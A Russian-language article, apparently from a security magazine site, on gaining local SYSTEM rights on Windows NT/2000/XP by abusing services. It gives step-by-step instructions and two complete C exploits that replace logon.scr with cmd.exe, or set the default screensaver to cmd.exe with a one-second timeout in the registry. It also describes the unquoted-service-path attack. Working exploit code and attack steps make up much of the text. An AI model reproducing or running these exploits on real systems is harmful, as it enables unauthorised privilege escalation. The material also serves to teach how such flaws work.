Сервис это программа написанная особым образом, чаще всего имеющая
привилегии local SYSTEM. Сервисы используются как системные службы, например для ведения
логов, работы web-сервера и т.д. Как же система различает сервис это или
обычная программа? Система просматривает реестр, где
зарегистрированы все сервисы. Данная база доступна для просмотра в Microsoft Management Console
(mmc.exe), но только для пользователей с правами администратора.
Так же этот список всех сервисов можно просмотреть в реестре по ключу:

HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services

Атака подменой сервиса

Основной смысл атаки на сервисы заключается в их подмене. К примеру: есть
сервис logon.scr, который представляет собой "Logon Screen Saver" - системный
хранитель экрана. Смысл атаки на данный сервис заключается в подмене этого
файла на cmd.exe. Как вы понимаете, cmd.exe - программа запускающая консоль
в системах Windows NT/2000/XP. Поэтому вместо сервиса будет запущена консоль
с правами local SYSTEM. 

Алгоритм реализации данной атаки заключается в следующем:

  1. Запустите cmd.exe и перейдите в папку Windows\System32\
  2. Скопируйте файл cmd.exe на место logon.scr
  3. Завершите сеанс и подождите минут 10-15.

После этого будет запущена консоль с правами local SYSTEM.
Рассмотрим простую реализацию атаки на
logon.scr:

//----------------------------------
/* 
* Windows NT/2000/XP + FAT local SYSTEM exploit N1 ( example )
*
* Run: ploit2 -a
*
* This is logon.scr service attack exploit
*
* Work even on GUEST account
*
* ... Dis is CHEAT OF MIND ...
*
* Author: sl0n
* Email: bigafroelephant@mail.ru
* Webpage: unavailable n0w
*/

#include <windows.h>
#include <stdio.h>

void attack() // Функция подмены logon.scr
{
char new_val[]="\\system32\\logon.scr"; 

char windir[150];
char windir2[150]; // Переменные
char windir3[150];

GetWindowsDirectoryA(windir,100); // Узнаём имя директории Windows

lstrcpyA(windir2,windir); // Подготавливаем полные пути для
lstrcpyA(windir3,windir); // хранения имён

lstrcatA(windir,new_val); // В windir будет полный путь к logon.scr
lstrcatA(windir2,"\\system32\\logon32.bak"); // В windir2 backup logon.scr
lstrcatA(windir3,"\\system32\\cmd.exe"); // В windir3 полный путь к cmd.exe

CopyFileA(windir,windir2,1); // Копируем logon.scr в logon32.bak
CopyFileA(windir3,windir,0); // Копируем cmd.exe в logon.scr

printf("[ Attack was g00d ]\n"); // Выводим сообщение что всё хорошо
printf("[ Please wait 10-15 minutes in l0g0n screen ]\n");
printf("[ And SYSTEM console was dropped ]\n\n");
printf("[ Press any key ..... ]\n");

getchar(); // Ждём нажатия клавиши

ExitWindowsEx(EWX_LOGOFF,0); // Завершаем сеанс
}

void restore() // Функция восстановления logon.scr
{
char new_val[]="\\system32\\logon.scr";

char windir[150]; // Переменные
char windir2[150];

GetWindowsDirectoryA(windir,100); // Получаем полное имя Windows директории

lstrcpyA(windir2,windir); // Копируем это имя в windir2

lstrcatA(windir,new_val); // Добавляем имя logon.scr
lstrcatA(windir2,"\\system32\\logon32.bak");// Копируем logon32.bak в windir2

CopyFileA(windir2,windir,0); // Копируем logon32.bak в logon.scr

printf("[ n0w system is rest0red ]\n"); // Выводим сообщение

}

void main(int argc, char *argv[])
{
printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");

if (argc<2) // Если программа запущена без параметров то выводим сообщения
// И завершаем работу программы
{
printf("Usage: %s [-a]\n",argv[0]);
printf("-a Get local SYSTEM permissions\n");
printf("-r Restore system in statement before attack\n");

exit(0); // Завершение работы программы
}

if(strcmp(argv[1],"-a")==0) // Чего хочет пользователь, атаковать ?
attack(); // Значит будем атаковать

if(strcmp(argv[1],"-r")==0) // Восстанавливать ?
restore(); // Значит будем восстанавливать
}

//----------------------------------

Главным недостатком этой атаки является то, что
придётся ждать где-то около 10 минут пока будет запущена консоль. Данная атака давно известна и этот эксплоит
был написан всего лишь для примера.

Аналогом данной атаки является следующий вариант этого эксплоита, который
избавлен от этого недостатка. Но появилось добавочное требование
- возможность записи в системный реестр.

Алгоритм атаки:

  1. Установить значение ключа реестра
    HKEY_USERS\.DEFAULT\Control Panel\ Desktop\SCRNSAVE.EXE,  значение должно быть
    "cmd.exe".
  2. Установить значение ключа реестра
    HKEY_USERS\.DEFAULT\Control Panel\ Desktop\ScreenSaveTimeOut, значение должно быть "1".
  3. Завершить сеанс, после этого будет запущена консоль с правами local
    SYSTEM.

Перейдём к примеру атаки:

//----------------------------------
/* 
* Windows NT/2000/XP+FAT local SYSTEM exploit N2 ( example )
*
* Run: ploit2 -a
*
* This is LOGON SCREEN SAVER attack exploit

*
* ... Dis is CHEAT OF MIND ...
*
* Author: sl0n
* Email: bigafroelephant@mail.ru
* Webpage: unavailable n0w
*/

#include <windows.h>
#include <stdio.h>

//----------------------------------

void attack() // Функция редактирования реестра с целью подмены ключа 
// HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE
{
char subkey[]=".DEFAULT\\Control Panel\\Desktop";

char valname[]="SCRNSAVE.EXE"; // Переменные
char new_val[]="cmd.exe";

char valname2[]="ScreenSaveTimeOut";
char new_val2[]="1";

HKEY key1;

RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1); // Открываем ключ
// реестра 
RegSetValueEx(key1,valname,0,REG_SZ,new_val,sizeof(new_val));
// Изменяем значение SCRNSAVE.EXE c logon.scr на cmd.exe

RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));
// Изменяем значение ScreenSaveTimeOut с 600 секунд на 1 

RegCloseKey(key1);
// Закрываем ключ реестра

printf("Now system is logging off ... and SYSTEM console\n");
printf("Must be spawned ");
// Выводим сообщения

ExitWindowsEx(EWX_LOGOFF,0);
// Завершаем сеанс
}

//----------------------------------

void restore() // Функция восстановления реестра в дефолтовое состояние
{
char subkey[]=".DEFAULT\\Control Panel\\Desktop";

char valname[]="SCRNSAVE.EXE";
char new_val[]="\\system32\\logon.scr"; // Переменные

char valname2[]="ScreenSaveTimeOut";
char new_val2[]="600";

char windir[140];
HKEY key1;

GetWindowsDirectoryA(windir,100); // Получаем в windir полное имя Windows
lstrcatA(windir,new_val); // Добавляем к нему \system32\logon.scr

RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1);
// Открываем необходимый нам ключ реестра

RegSetValueEx(key1,valname,0,REG_SZ,windir,sizeof(windir));
RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));
// Восстанавливаем дефолтовые значения в реестре

RegCloseKey(key1);
// Закрываем ключ реестра

printf("Register was restored successfully");
// Выводим сообщение
}

//----------------------------------

void main(int argc, char *argv[])
{
printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");
if (argc<2) // Если программа запущена без параметров то выводим сообщения
// И завершаем работу программы
{
printf("Usage: %s [-a]\n",argv[0]);
printf("-a Get local SYSTEM permissions\n");
printf("-r Restore register in default statement attack\n");
exit(0);
}
if(strcmp(argv[1],"-a")==0) // Чего хочет пользователь, атаковать ?
attack(); // Значит будем атаковать

if(strcmp(argv[1],"-r")==0) // Восстанавливать ?
restore(); // Значит будем восстанавливать
}

//----------------------------------

В Windows NT/2000/XP существует множество различных сервисов. Но данная атака
не сработает на других сервисах. Причина заключается в том, что logon.scr
представляет собой обыкновенную программу, а не сервис в полном понимании этого
слова. Большинство запущенных сервисов активно постоянно и у пользователя с
низкими привилегиями нет возможности остановить эти системные сервисы.
А если сервис запущен, то с самим исполнимым файлом этого сервиса сделать
ничего нельзя. 

Я думаю, что может быть возможна ситуация, когда каким либо
способом (например DoS атакой) завершается работа сервиса. После этого
исполнимый файл сервиса подменяется сервисом написанным атакующим 
который будет к примеру запускать консоль. После этого система перезагружается.
Во время загрузки системы при запуске сервиса будет запущен подменённый сервис,
который запустит консоль с правами системы.

Если существует возможность записи в реестр по ключу
HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services, тогда существует возможность написать и зарегистрировать свой сервис, который
предоставит возможность получения прав local
SYSTEM. Но опять же, зарегистрировать свой сервис могут только администраторы.
Остальные пользователи могут только просмотреть список всех сервисов.

Так же существует программа, которая запускает любую программу, как сервис.
Но для этого ей необходима возможность записи в системный реестр.
Это программа называется FireDaemon,
она доступна как в консольном варианте, так и с GUI интерфейсом.

Так же был написан эксплоит осуществляющий поиск и подмену сервисов доступных
обычному пользователю он называется He4GetAdmin.

Данный эксплоит не функционален на Windows XP, из-за того что сервисы после
подмены восстанавливаются.

Атака "длинного пути"(long path attack)

Смысл данной атаки заключается в использовании параметра
исполняемого файла который передаёт полный путь. Данный параметр позже
используется функцией CreateProcessAsUser для создания процесса службы.
Если же в пути к исполнимому файлу присутствуют пробелы, то функция
CreateProcessAsUser начинает пытаться определить имя исполнимого файла.
И определяет она имя файла с некоторыми ошибками.

Например: параметр установлен в значение: C:\FAR
AWAY\service.exe. Если существует файл в корне с именем FAR.exe, то будет запущен именно он.
Смысл атаки заключается в поиске сервисов с аналогичными параметрами и
создании файла, в нашем случае FAR.exe. Простейшим вариантом является
копирование cmd.exe в C:\FAR.exe. После этого необходимо перезагрузить
компьютер, при следующем запуске сервиса будет запущена консоль с правами
local SYSTEM.

Представьте на секунду, что имя директории Windows другое, например
SUPER Windows. Ясно, что это вам даёт? Ведь большинство системных сервисов
находится именно в этой директории.

Сложности в реализации атаки:

  1. Необходимо остановиться на том, что не все сервисы запускаются с
    параметром Interact with desktop. Поэтому после данной атаки консоли с правами системы вы просто не увидите хоть она и будет запущена.
  2. Не все сервисы запускаются с правами local SYSTEM, хотя и большинство. 

На этом мы закончим анализ основных методов атак на сервисы в операционных
системах Windows NT/2000/XP.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии